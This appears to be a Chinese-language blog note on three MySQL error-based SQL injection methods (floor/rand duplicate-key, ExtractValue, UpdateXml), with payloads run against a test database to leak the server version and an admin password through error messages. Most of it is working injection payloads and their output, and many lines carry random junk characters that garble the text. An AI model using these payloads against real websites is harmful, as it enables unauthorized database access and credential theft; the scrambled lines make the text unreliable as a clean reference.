关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
9 e- w* I/ D  M+ e实际测试环境：
​

7 L8 d7 X+ u$ p4 Q" g6 h( _. S$ Emysql> show tables;
! x5 ^7 E' A2 T) o, N8 \( O6 q* w+----------------+
| Tables_in_test |
* K" N1 c. t) Y9 v3 x+----------------+
| admin          |
| article        |
% N1 J5 \0 F! O2 ^8 q+ }+----------------+
. T, w( \" i0 \: H! @( t: q* c& m+ o


. [5 o8 [3 }& p! Z9 i: L6 qmysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
0 u& u# J* {# M% M* n/ }$ q| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
' X' i! x, h4 R2 W, w8 g| user  | varchar(50)      | NO   |     | NULL    |                |
| pass  | varchar(50)      | NO   |     | NULL    |                |
0 E' e' b, L( U+-------+------------------+------+-----+---------+----------------+
2 ?" I5 f4 y, g: ?, `. D
- F2 ~% q' a- E  C1 {# U

5 c- G! G* ?  o1 cmysql> describe article;
9 W# Q9 ]6 F; p5 k+ J: Y; [0 A+---------+------------------+------+-----+---------+----------------+
& J- y% l  x; `| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
8 Z- ~( h, w7 h: I; s# H| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
: P  u$ v" g* c| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
# |% Y! B9 k3 o' ^1、通过floor报错
可以通过如下一些利用代码
4 Y# ~( }" {/ h& w3 Y8 O' s$ E

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
, x) t6 g# |5 r) r: x6 K" @% vfrom information_schema.tables group by x)a);
  ~" F! u: r" ^) N- p$ ^3 E* t

2 o. p/ K4 R% k, h0 U$ ^' y; pand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
; X( Y- k5 Z0 T* q" q' o3 ffloor(rand(0)*2)));
, {/ }* a, N1 v举例如下：
; E7 g/ O. O9 t. n7 u7 ?首先进行正常查询：
& n* J0 w4 Q* N4 Q
# n1 s% Q* E  ]  ]6 t  `mysql> select * from article where id = 1;
  b9 l, w% s5 K+----+-------+---------+
$ b0 m, M6 M5 `| id | title | content |
$ W: K# k) Z  e7 k& F+----+-------+---------+
5 o) C: |3 N2 P% @. P& }5 a|  1 | test  | do it   |
3 g9 ~$ O8 z- {' f9 X2 W+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
/ Q" Z. ^8 U6 U6 Z$ M(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
; W& ?9 W2 F) ~6 A例如我们需要查询管理员用户名和密码：
Method1:


! c4 y  {* Q$ M0 ~& F6 q$ amysql> select * from article where id = 1 and (select 1 from
3 q- i- _1 @* Y& `# ^0 d- l2 A( F(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
' `! S% _6 _4 J5 A/ JMethod2:
' f5 w8 q0 ^; i& \6 Z$ m  k

mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
+ x8 B+ h9 [, N" s% {. W  I$ _+ ofloor(rand(0)*2)));
1 Y0 M# b9 }* [* }ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
$ B$ w, W6 t' T. e测试语句如下

# C" l: v* N3 i+ A3 a; W
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
: _: o" D, z/ b5 p! r. c实际测试过程
+ a0 K/ u# G, l1 \+ I$ x) F5 |

8 c0 \8 J$ g: }! Kmysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
  _& f$ J, W2 H. L* `0 `; b(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
5 r2 j/ w; z: C: t. x* x9 x测试语句
: l9 x& g& b: _/ m% O6 s
( Y( O* G; s9 e7 B' X& J% Q6 ~# Z
5 H8 l+ h* x9 D" [- eand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
# Q' ]' X9 j$ U3 n2 t' \, v5 _, I

mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
, o, f/ L" D: o/ V; R6 E(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
! j5 w5 g- b9 u% _5 |; |All, thanks foreign guys.
" h: ?0 h+ P% I& k$ U
2 j; m8 t% @1 p3 `​
9 s* S: q  N# a9 A8 t9 R